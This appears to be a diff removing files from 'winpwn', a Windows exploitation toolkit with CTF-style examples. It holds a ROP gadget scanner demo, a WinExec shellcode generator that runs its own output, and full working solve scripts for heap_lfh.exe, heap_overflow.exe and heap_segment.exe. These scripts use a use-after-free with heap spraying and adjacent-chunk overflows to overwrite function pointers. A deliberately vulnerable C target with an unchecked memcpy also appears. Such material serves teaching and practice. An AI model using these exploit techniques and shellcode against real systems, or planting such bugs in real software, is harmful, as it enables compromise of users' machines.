// --- native ROP gadget scan, no rp++/Ropper required ---
|
|
||||||
rop, err := winpwn.NewROP(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("NewROP: %v", err)
|
|
||||||
}
|
|
||||||
defer rop.Close()
|
|
||||||
|
|
||||||
fmt.Println("--- gadgets ---")
|
|
||||||
if g, err := rop.Search("pop ecx ; ret"); err == nil {
|
|
||||||
fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.Search("pop eax ; ret"); err == nil {
|
|
||||||
fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil {
|
|
||||||
fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
|
||||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
|
||||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
|
||||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
//const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab1/simple_rop.exe"
|
|
||||||
const target = "../../../../Windows/SysWOW64/kernel32.dll"
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pe, err := winpwn.OpenPE(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
defer pe.Close()
|
|
||||||
|
|
||||||
// --- native ROP gadget scan, no rp++/Ropper required ---
|
|
||||||
rop, err := winpwn.NewROP(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("NewROP: %v", err)
|
|
||||||
}
|
|
||||||
defer rop.Close()
|
|
||||||
|
|
||||||
fmt.Println("--- gadgets ---")
|
|
||||||
if g, err := rop.Search("pop ecx ; ret"); err == nil {
|
|
||||||
fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.Search("pop eax ; ret"); err == nil {
|
|
||||||
fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil {
|
|
||||||
fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
|
||||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
// shellcraft_winexec demonstrates winpwn's first shellcraft template:
|
|
||||||
// position-independent x64 shellcode that resolves kernel32 via the PEB
|
|
||||||
// (no leak/hardcoded base needed) and calls WinExec. Useful as the payload
|
|
||||||
// at the end of a ROP chain, or to drop directly into a hijacked function
|
|
||||||
// pointer / vtable entry.
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
code, err := winpwn.ShellcodeWinExec("putty.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
fmt.Printf("%d bytes of shellcode, ready to splice into a payload:\n%x\n", len(code), code)
|
|
||||||
|
|
||||||
// Validating it actually runs (rather than just trusting the bytes)
|
|
||||||
// before landing it via a real exploit primitive:
|
|
||||||
if err := winpwn.ExecuteShellcode(code); err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Binary file not shown.
Binary file not shown.
@@ -1,165 +0,0 @@
|
|||||||
/*
|
|
||||||
Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a
|
|
||||||
real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2),
|
|
||||||
not a simulation.
|
|
||||||
|
|
||||||
The grooming trick, found empirically while building this example (see
|
|
||||||
USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed
|
|
||||||
slot quickly if it's freed from the *currently active* subsegment, which
|
|
||||||
in practice means the *most recently allocated* same-size object. Freeing
|
|
||||||
an early one can fail to come back for tens of thousands of attempts;
|
|
||||||
freeing the last one allocated reliably reuses within a handful of
|
|
||||||
allocations (1-16 in repeated empirical runs on this machine/OS build).
|
|
||||||
|
|
||||||
So: allocate a few filler notes, allocate the victim note *last*, free it,
|
|
||||||
then spray 32-byte buffers (each containing a fake onPrint pointing at
|
|
||||||
win()) until the leaked address of a spray matches the victim's leaked
|
|
||||||
address -- then call P on the victim id. The spray/retry loop itself is
|
|
||||||
winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment
|
|
||||||
needed the same shape (spray N times, look for a match against known
|
|
||||||
samples) for a structurally different relation, which is exactly the
|
|
||||||
"third copy-paste" signal that means it belongs in the library, not a
|
|
||||||
script.
|
|
||||||
|
|
||||||
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
|
|
||||||
designing your own heap challenge): every numeric "fact" this solve script
|
|
||||||
or its USAGE.md walkthrough states about LFH's behavior (attempt counts,
|
|
||||||
"most recently allocated reuses reliably") was measured empirically on one
|
|
||||||
specific Windows build/patch level, on one machine, today. LFH's internal
|
|
||||||
bucket layout, subsegment sizing, and reuse heuristics are NOT a stable
|
|
||||||
public contract -- they have changed across Windows versions before and can
|
|
||||||
again. If you reuse this technique on a different build (or even a
|
|
||||||
different machine), re-run the grooming experiment yourself (spray N,
|
|
||||||
free one, spray replacements, count attempts-to-reuse) before trusting any
|
|
||||||
specific number from this file or relying on "free the last one" as if it
|
|
||||||
were guaranteed forever. Treat every offset/heuristic in a heap task as
|
|
||||||
something to verify against *your actual target*, not something to copy
|
|
||||||
from someone else's writeup.
|
|
||||||
*/
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
// parseAddr extracts the "0x..." hex value following "addr=" in a line
|
|
||||||
// like "OK id=5 addr=0x0000000000aa08e0".
|
|
||||||
func parseAddr(line []byte) (uint64, error) {
|
|
||||||
idx := bytes.Index(line, []byte("addr=0x"))
|
|
||||||
if idx == -1 {
|
|
||||||
return 0, fmt.Errorf("no addr= in line %q", line)
|
|
||||||
}
|
|
||||||
hexPart := line[idx+len("addr=0x"):]
|
|
||||||
hexPart = bytes.TrimSpace(hexPart)
|
|
||||||
return strconv.ParseUint(string(hexPart), 16, 64)
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pf, err := winpwn.OpenPE("heap_lfh.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
winRVA, err := pf.GetProcAddress("win")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("win() not found: %v", err)
|
|
||||||
}
|
|
||||||
base, err := pf.ImageBase()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("ImageBase: %v", err)
|
|
||||||
}
|
|
||||||
winAddr := base + winRVA
|
|
||||||
pf.Close()
|
|
||||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
tube, err := winpwn.Spawn("heap_lfh.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready"
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A few filler notes (any of these could be freed and would NOT
|
|
||||||
// reliably come back quickly -- that's the empirical finding).
|
|
||||||
for i := 0; i < 5; i++ {
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := tube.RecvLine(); err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// The victim note: allocated *last*, so its slot belongs to the
|
|
||||||
// subsegment LFH is still actively issuing from.
|
|
||||||
if err := tube.SendLine([]byte("A victim")); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
resp, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
victimAddr, err := parseAddr(resp)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("parse victim addr: %v", err)
|
|
||||||
}
|
|
||||||
victimID := 5
|
|
||||||
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
|
|
||||||
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := tube.RecvLine(); err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once
|
|
||||||
// onPrint is redirected) + win()'s address where onPrint lives.
|
|
||||||
payload := bytes.Repeat([]byte{0x41}, 24)
|
|
||||||
payload = append(payload, winpwn.P64(winAddr)...)
|
|
||||||
payloadHex := winpwn.Enhex(payload)
|
|
||||||
|
|
||||||
// winpwn.SprayAndFind seeded with the one known target (the freed
|
|
||||||
// victim's leaked address): every spray attempt is checked against it,
|
|
||||||
// stopping the moment a replacement reuses that exact slot.
|
|
||||||
const maxAttempts = 64
|
|
||||||
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
|
|
||||||
_, _, attempts, ok, err := winpwn.SprayAndFind(
|
|
||||||
[]winpwn.SprayResult[uint64]{victim},
|
|
||||||
maxAttempts,
|
|
||||||
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
|
||||||
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
|
|
||||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
|
||||||
}
|
|
||||||
resp, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
|
||||||
}
|
|
||||||
if !strings.HasPrefix(string(resp), "OK") {
|
|
||||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
|
|
||||||
}
|
|
||||||
addr, err := parseAddr(resp)
|
|
||||||
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
|
||||||
},
|
|
||||||
func(a, b uint64) bool { return a == b },
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("spray: %v", err)
|
|
||||||
}
|
|
||||||
if !ok {
|
|
||||||
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
|
|
||||||
}
|
|
||||||
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
|
|
||||||
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
Binary file not shown.
@@ -1,127 +0,0 @@
|
|||||||
/*
|
|
||||||
Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow.
|
|
||||||
|
|
||||||
Heap layout (both Notes allocated from the same private heap, no LFH):
|
|
||||||
|
|
||||||
HEADER(16) note[0].buf[24] note[0].action(8)
|
|
||||||
HEADER(16) note[1].buf[24] note[1].action(8)
|
|
||||||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|
||||||
Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding.
|
|
||||||
We overwrite it as part of the overflow, but since we never call HeapFree
|
|
||||||
on note[1] after the overflow (just directly call note[1]->action), the
|
|
||||||
corrupted header is never read back by the allocator.
|
|
||||||
|
|
||||||
The W command writes hex-decoded bytes starting at note[id]->buf with NO
|
|
||||||
bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action:
|
|
||||||
|
|
||||||
note[0]->buf [0..23] 24 bytes -- fill with padding
|
|
||||||
note[0]->action [24..31] 8 bytes -- overwrite (any value, not called)
|
|
||||||
note[1] HEADER [32..47] 16 bytes -- corrupted, doesn't matter (not freed)
|
|
||||||
note[1]->buf [48..71] 24 bytes -- overwrite (any value, not called via action)
|
|
||||||
note[1]->action [72..79] 8 bytes -- WIN: write win() address here
|
|
||||||
|
|
||||||
Total: 80 bytes; win() address at bytes 72-79 (little-endian).
|
|
||||||
|
|
||||||
After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win().
|
|
||||||
|
|
||||||
win() address comes from PE export table (no ASLR to defeat -- or if running
|
|
||||||
remotely, parse from the provided binary the same way examples/heap_lfh does).
|
|
||||||
|
|
||||||
NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0]
|
|
||||||
and notes[1] are actually adjacent with no free chunk between them. With
|
|
||||||
exactly two 32-byte allocations and a fresh HeapCreate(0,0,0), this holds
|
|
||||||
reliably on build 10.0.26100. Check with `winpwn heap <pid> -walk` and look
|
|
||||||
for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data).
|
|
||||||
The _HEAP_ENTRY header in between is XOR-encoded but the overflow just
|
|
||||||
overwrites it with garbage -- that's fine because we never HeapFree note[1].
|
|
||||||
*/
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"strconv"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func parseAddr(line []byte) (uint64, error) {
|
|
||||||
idx := bytes.Index(line, []byte("addr=0x"))
|
|
||||||
if idx == -1 {
|
|
||||||
return 0, fmt.Errorf("no addr= in %q", line)
|
|
||||||
}
|
|
||||||
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pf, err := winpwn.OpenPE("heap_overflow.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
winRVA, err := pf.GetProcAddress("win")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("win() not found: %v", err)
|
|
||||||
}
|
|
||||||
base, err := pf.ImageBase()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("ImageBase: %v", err)
|
|
||||||
}
|
|
||||||
winAddr := base + winRVA
|
|
||||||
pf.Close()
|
|
||||||
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
tube, err := winpwn.Spawn("heap_overflow.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready"
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 1: allocate two notes consecutively -> they will be adjacent
|
|
||||||
for _, text := range []string{"A note0", "A note1"} {
|
|
||||||
if err := tube.SendLine([]byte(text)); err != nil {
|
|
||||||
log.Fatalf("SendLine %s: %v", text, err)
|
|
||||||
}
|
|
||||||
resp, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
addr, _ := parseAddr(resp)
|
|
||||||
fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
|
|
||||||
_ = addr
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 2: overflow note[0]->buf into note[1]->action
|
|
||||||
//
|
|
||||||
// Payload layout (80 bytes total):
|
|
||||||
// bytes 0-23: 'A'*24 (fills note[0]->buf)
|
|
||||||
// bytes 24-31: 'B'*8 (overwrites note[0]->action -- value doesn't matter)
|
|
||||||
// bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed)
|
|
||||||
// bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string)
|
|
||||||
// bytes 72-79: win() (overwrites note[1]->action -- THIS is what we call)
|
|
||||||
//
|
|
||||||
payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf
|
|
||||||
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0]->action
|
|
||||||
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header
|
|
||||||
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf
|
|
||||||
payload = append(payload, winpwn.P64(winAddr)...) // note[1]->action
|
|
||||||
|
|
||||||
fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
|
|
||||||
overflow := "W 0 " + winpwn.Enhex(payload)
|
|
||||||
if err := tube.SendLine([]byte(overflow)); err != nil {
|
|
||||||
log.Fatalf("SendLine W: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := tube.RecvLine(); err != nil { // "OK"
|
|
||||||
log.Fatalf("RecvLine W resp: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")
|
|
||||||
|
|
||||||
// Step 3: call note[1]->action -> win()
|
|
||||||
fmt.Printf("[+] calling C 1...\n")
|
|
||||||
if err := tube.SendLine([]byte("C 1")); err != nil {
|
|
||||||
log.Fatalf("SendLine C: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
flag{segment_heap_adjacent_chunk_overflow}
|
|
||||||
Binary file not shown.
Binary file not shown.
@@ -1,164 +0,0 @@
|
|||||||
/*
|
|
||||||
Solve script for heap_segment.exe (see src/heap_segment.c): an
|
|
||||||
adjacent-chunk heap overflow on a real Segment-Heap-backed process heap
|
|
||||||
(the target opts in via an embedded manifest; GetProcessHeap() really is
|
|
||||||
Segment Heap, confirmed in the C source's own startup banner).
|
|
||||||
|
|
||||||
Segment Heap's "Small" allocator packs same-size allocations densely into
|
|
||||||
4KB pages, but *not* in allocation order -- the offset within the page is
|
|
||||||
randomized per allocation (empirically verified while building this:
|
|
||||||
twenty sequential 32-byte allocations land all over a single page, not
|
|
||||||
back-to-back). So instead of assuming adjacency, this script leaks every
|
|
||||||
allocation's address (the target's A command happens to print it, the
|
|
||||||
same "legitimate bookkeeping output doubles as the leak primitive" pattern
|
|
||||||
as examples/heap_lfh) and searches the leaked addresses for a pair that
|
|
||||||
really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of
|
|
||||||
20 always contains at least one such pair on this machine/OS build.
|
|
||||||
|
|
||||||
Once found: id_a's name buffer is overflowable past its own 32 bytes
|
|
||||||
straight into id_b's struct, landing on id_b's `describe` function
|
|
||||||
pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's
|
|
||||||
own allocation start. The spray/pair-search loop is winpwn.SprayAndFind
|
|
||||||
(spray.go) -- the same primitive examples/heap_lfh uses for a structurally
|
|
||||||
different relation (equality against one known target, instead of a
|
|
||||||
distance check across everything sprayed).
|
|
||||||
|
|
||||||
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
|
|
||||||
designing your own heap challenge): "20 always contains a pair" and the
|
|
||||||
profileSize=32 distance check are facts about *this exact struct, on this
|
|
||||||
exact Windows build*, measured empirically by spraying it for real -- not
|
|
||||||
something Segment Heap guarantees as a stable contract. Segment Heap's
|
|
||||||
"Small" allocator's packing behavior is liable to differ across Windows
|
|
||||||
versions (and possibly even across runs on heavily fragmented heaps).
|
|
||||||
Anyone reusing this adjacent-overflow approach for a different struct size
|
|
||||||
or a different machine should re-run the same empirical step this script
|
|
||||||
already does at runtime -- spray N, leak every address, check for the
|
|
||||||
expected distance -- rather than hardcoding a spray count or an offset
|
|
||||||
copied from this writeup and assuming it transfers.
|
|
||||||
*/
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"strconv"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func parseIDAndAddr(line []byte) (int, uint64, error) {
|
|
||||||
idIdx := bytes.Index(line, []byte("id="))
|
|
||||||
addrIdx := bytes.Index(line, []byte("addr=0x"))
|
|
||||||
if idIdx == -1 || addrIdx == -1 {
|
|
||||||
return 0, 0, fmt.Errorf("unparseable line %q", line)
|
|
||||||
}
|
|
||||||
idPart := bytes.Fields(line[idIdx+len("id="):])[0]
|
|
||||||
id, err := strconv.Atoi(string(idPart))
|
|
||||||
if err != nil {
|
|
||||||
return 0, 0, err
|
|
||||||
}
|
|
||||||
addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):])
|
|
||||||
addr, err := strconv.ParseUint(string(addrPart), 16, 64)
|
|
||||||
if err != nil {
|
|
||||||
return 0, 0, err
|
|
||||||
}
|
|
||||||
return id, addr, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
const profileSize = 32 // sizeof(Profile): char name[24] + void* describe
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pf, err := winpwn.OpenPE("heap_segment.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
winRVA, err := pf.GetProcAddress("win")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("win() not found: %v", err)
|
|
||||||
}
|
|
||||||
base, err := pf.ImageBase()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("ImageBase: %v", err)
|
|
||||||
}
|
|
||||||
winAddr := base + winRVA
|
|
||||||
pf.Close()
|
|
||||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
||||||
|
|
||||||
tube, err := winpwn.Spawn("heap_segment.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
readyLine, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] %s", readyLine)
|
|
||||||
|
|
||||||
// winpwn.SprayAndFind with no seed: every newly sprayed allocation is
|
|
||||||
// checked against everything sprayed before it for the one relation
|
|
||||||
// that matters here -- "exactly sizeof(Profile) apart" -- rather than
|
|
||||||
// collecting all addresses first and searching afterward.
|
|
||||||
const spray = 20
|
|
||||||
a, b, _, ok, err := winpwn.SprayAndFind(
|
|
||||||
nil,
|
|
||||||
spray,
|
|
||||||
func(i int) (winpwn.SprayResult[uint64], error) {
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
|
||||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
|
||||||
}
|
|
||||||
resp, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
|
||||||
}
|
|
||||||
id, addr, err := parseIDAndAddr(resp)
|
|
||||||
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
|
|
||||||
},
|
|
||||||
func(x, y uint64) bool {
|
|
||||||
d := int64(y) - int64(x)
|
|
||||||
return d == profileSize || d == -profileSize
|
|
||||||
},
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("spray: %v", err)
|
|
||||||
}
|
|
||||||
if !ok {
|
|
||||||
log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray)
|
|
||||||
}
|
|
||||||
|
|
||||||
// match() is direction-agnostic (it only checks |distance|), so the
|
|
||||||
// attacker (the lower address -- it overflows *forward* into the
|
|
||||||
// victim) needs to be picked out by comparing the two found keys, not
|
|
||||||
// just trusting which one SprayAndFind happened to label "older".
|
|
||||||
attackerID, victimID := a.ID, b.ID
|
|
||||||
attackerAddr, victimAddr := a.Key, b.Key
|
|
||||||
if a.Key > b.Key {
|
|
||||||
attackerID, victimID = b.ID, a.ID
|
|
||||||
attackerAddr, victimAddr = b.Key, a.Key
|
|
||||||
}
|
|
||||||
fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n",
|
|
||||||
attackerID, attackerAddr, victimID, victimAddr)
|
|
||||||
|
|
||||||
// 56 bytes of filler to walk past the attacker's own 32-byte
|
|
||||||
// allocation and the victim's name[24], landing exactly on the
|
|
||||||
// victim's `describe` field (offset 24 within the victim, i.e.
|
|
||||||
// offset 32+24=56 from the attacker's allocation start).
|
|
||||||
payload := bytes.Repeat([]byte{0x41}, 56)
|
|
||||||
payload = append(payload, winpwn.P64(winAddr)...)
|
|
||||||
payloadHex := winpwn.Enhex(payload)
|
|
||||||
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
resp, err := tube.RecvLine()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("RecvLine: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] overflow response: %s", resp)
|
|
||||||
|
|
||||||
if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil {
|
|
||||||
log.Fatalf("SendLine: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tube.Interactive()
|
|
||||||
}
|
|
||||||
@@ -1,159 +0,0 @@
|
|||||||
/*
|
|
||||||
heap_segment -- adjacent-chunk heap overflow on Windows' real Segment
|
|
||||||
Heap (not NT Heap/LFH). The process opts into Segment Heap via an
|
|
||||||
embedded application manifest (<heapType>SegmentHeap> -- see
|
|
||||||
heap_segment.manifest/heap_segment.rc, the only Microsoft-documented way
|
|
||||||
to force it for a specific image without touching machine-wide settings),
|
|
||||||
so GetProcessHeap() itself is Segment-Heap-backed: confirmed empirically
|
|
||||||
while building this example by reading the heap handle's own Signature
|
|
||||||
field (*(DWORD*)(GetProcessHeap()+0x10) == 0xddeeddee for Segment Heap,
|
|
||||||
0xffeeffee for classic NT Heap).
|
|
||||||
|
|
||||||
The bug: O (overflow) writes attacker-controlled, attacker-LENGTH bytes
|
|
||||||
starting at a Profile's address with no check that the length fits the
|
|
||||||
32-byte allocation -- a plain unchecked memcpy. Segment Heap's famous
|
|
||||||
mitigation (full physical isolation of heap *metadata* from user *data*,
|
|
||||||
see USAGE.md's walkthrough) means this overflow can never reach allocator
|
|
||||||
control structures, but it can still walk straight into whatever user data
|
|
||||||
happens to be allocated right after it in the same page -- and Segment
|
|
||||||
Heap's "Small" allocator packs same-size allocations densely into 4KB
|
|
||||||
pages, just at a randomized offset within the page rather than in
|
|
||||||
allocation order. Leak enough addresses (the A command leaks each one) and
|
|
||||||
some pair will be exactly 32 bytes apart (empirically: spray>=10 finds
|
|
||||||
one in every trial run while building this).
|
|
||||||
|
|
||||||
Protocol (one command per line, stdout unbuffered):
|
|
||||||
A <text> allocate a Profile{char name[24]; void(*describe)(const
|
|
||||||
char*);}, fills name (truncated to 23 chars + NUL), sets
|
|
||||||
describe to the real print function.
|
|
||||||
-> "OK id=<n> addr=0x<hex>"
|
|
||||||
O <id> <hex> write decode(hex) raw bytes starting at profiles[id]
|
|
||||||
